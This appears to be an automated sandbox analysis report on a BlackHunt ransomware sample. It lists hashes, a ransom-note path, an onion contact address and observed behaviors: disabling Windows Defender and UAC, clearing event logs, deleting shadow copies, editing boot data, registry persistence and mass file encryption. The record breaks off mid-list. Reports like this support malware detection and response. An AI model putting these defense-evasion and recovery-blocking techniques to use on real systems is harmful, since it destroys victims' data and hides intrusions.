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Analysis
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max time kernel
119s -
max time network
140s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:50
Static task
static1
Behavioral task
behavioral1
Sample
29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Resource
win10v2004-20231222-en
General
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Target
29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
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Size
707KB
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MD5
975a37260ad0d4c3e1796f11d5dbee54
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SHA1
ef80a57f99336db24a0bd3cc84656ab44b78a946
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SHA256
29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8
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SHA512
89ebd469262c565cab61f2e0629520a9716368595fa31aa69c874fb18fa6cafb9647d558c14c2c5b3814b0e749250a96ab3e4d29410cf179c3e5dcea86e872da
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza158tvnh:6uaTmkZJ+naie5OTamgEoKxLWkZh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1276 fsutil.exe 1936 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" wbadmin.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection wbadmin.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 932 wevtutil.exe 2812 wevtutil.exe 1540 wevtutil.exe 1708 wevtutil.exe 2232 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1580 bcdedit.exe 2632 bcdedit.exe 2832 bcdedit.exe 1552 bcdedit.exe -
Renames multiple (2337) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2036 wbadmin.exe 628 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 2132 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\U: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\S: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\K: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\N: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\T: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\A: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Q: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\I: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\P: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\E: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\Y: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\O: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\J: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\B: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\V: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\G: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\L: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\Z: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\X: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\M: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\H: 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.hta 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#BlackHunt_ReadMe.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\#BlackHunt_ReadMe.hta 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_ReadMe.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_pt_BR.properties 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_zh_4.4.0.v20140623020002.jar 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.base.nl_ja_4.4.0.v20140623020002.jar 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-oql.xml 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\South_Georgia 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\1047x576black.png 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Asuncion 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Copenhagen 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_ReadMe.hta 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground.wmv 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jakarta 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_ReadMe.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_Private.key 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\preface.htm 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jre7\lib\zi\Asia\#BlackHunt_Private.key 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Lindeman 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Port_Moresby 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\cpyr.htm 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_ReadMe.hta 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-execution.xml 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\7-Zip\Lang\nn.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-highlight.png 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576_91n92.png 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-progress-ui.xml 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_ja.jar 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Merida 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\curtains.png 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\#BlackHunt_ReadMe.hta 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert_5.5.0.165303.jar 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-filesystems.xml 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_ja.jar 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_notes-txt-background.png 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\javafx.properties 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Dawson 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\7-Zip\Lang\ku.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-execution.xml 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Manila 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_Private.key 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.txt 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Kaliningrad 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jre7\lib\#BlackHunt_Private.key 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Gambier 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_Private.key 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\DVD Maker\SecretST.TTF 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\alt-rt.jar 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\security\javaws.policy 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Havana 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_ReadMe.hta 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Pangnirtung 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\license.html 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2232 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2524 vssadmin.exe 1172 vssadmin.exe 236 vssadmin.exe 612 vssadmin.exe 880 vssadmin.exe 1732 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2460 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1872 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 564 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Token: SeRestorePrivilege 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Token: SeBackupPrivilege 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Token: SeTakeOwnershipPrivilege 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Token: SeAuditPrivilege 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Token: SeSecurityPrivilege 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Token: SeIncBasePriorityPrivilege 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe Token: SeBackupPrivilege 2780 vssvc.exe Token: SeRestorePrivilege 2780 vssvc.exe Token: SeAuditPrivilege 2780 vssvc.exe Token: SeBackupPrivilege 1468 wbengine.exe Token: SeRestorePrivilege 1468 wbengine.exe Token: SeSecurityPrivilege 1468 wbengine.exe Token: SeSecurityPrivilege 932 wevtutil.exe Token: SeBackupPrivilege 932 wevtutil.exe Token: SeSecurityPrivilege 2812 wevtutil.exe Token: SeBackupPrivilege 2812 wevtutil.exe Token: SeSecurityPrivilege 1540 wevtutil.exe Token: SeBackupPrivilege 1540 wevtutil.exe Token: SeSecurityPrivilege 1708 wevtutil.exe Token: SeBackupPrivilege 1708 wevtutil.exe Token: SeSecurityPrivilege 2232 wevtutil.exe Token: SeBackupPrivilege 2232 wevtutil.exe Token: SeDebugPrivilege 2460 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2176 wrote to memory of 2328 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 32 PID 2176 wrote to memory of 2328 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 32 PID 2176 wrote to memory of 2328 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 32 PID 2176 wrote to memory of 2328 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 32 PID 2176 wrote to memory of 2688 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 29 PID 2176 wrote to memory of 2688 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 29 PID 2176 wrote to memory of 2688 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 29 PID 2176 wrote to memory of 2688 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 29 PID 2176 wrote to memory of 2756 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 36 PID 2176 wrote to memory of 2756 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 36 PID 2176 wrote to memory of 2756 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 36 PID 2176 wrote to memory of 2756 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 36 PID 2328 wrote to memory of 2772 2328 cmd.exe 35 PID 2328 wrote to memory of 2772 2328 cmd.exe 35 PID 2328 wrote to memory of 2772 2328 cmd.exe 35 PID 2176 wrote to memory of 2808 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 33 PID 2176 wrote to memory of 2808 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 33 PID 2176 wrote to memory of 2808 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 33 PID 2176 wrote to memory of 2808 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 33 PID 2176 wrote to memory of 2692 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 40 PID 2176 wrote to memory of 2692 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 40 PID 2176 wrote to memory of 2692 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 40 PID 2176 wrote to memory of 2692 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 40 PID 2688 wrote to memory of 2800 2688 cmd.exe 37 PID 2688 wrote to memory of 2800 2688 cmd.exe 37 PID 2688 wrote to memory of 2800 2688 cmd.exe 37 PID 2176 wrote to memory of 2776 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 38 PID 2176 wrote to memory of 2776 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 38 PID 2176 wrote to memory of 2776 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 38 PID 2176 wrote to memory of 2776 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 38 PID 2176 wrote to memory of 2796 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 118 PID 2176 wrote to memory of 2796 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 118 PID 2176 wrote to memory of 2796 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 118 PID 2176 wrote to memory of 2796 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 118 PID 2176 wrote to memory of 2964 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 117 PID 2176 wrote to memory of 2964 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 117 PID 2176 wrote to memory of 2964 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 117 PID 2176 wrote to memory of 2964 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 117 PID 2176 wrote to memory of 2684 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 44 PID 2176 wrote to memory of 2684 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 44 PID 2176 wrote to memory of 2684 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 44 PID 2176 wrote to memory of 2684 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 44 PID 2176 wrote to memory of 2716 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 46 PID 2176 wrote to memory of 2716 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 46 PID 2176 wrote to memory of 2716 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 46 PID 2176 wrote to memory of 2716 2176 29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe 46 PID 2808 wrote to memory of 2596 2808 cmd.exe 45 PID 2808 wrote to memory of 2596 2808 cmd.exe 45 PID 2808 wrote to memory of 2596 2808 cmd.exe 45 PID 2692 wrote to memory of 2660 2692 cmd.exe 116 PID 2692 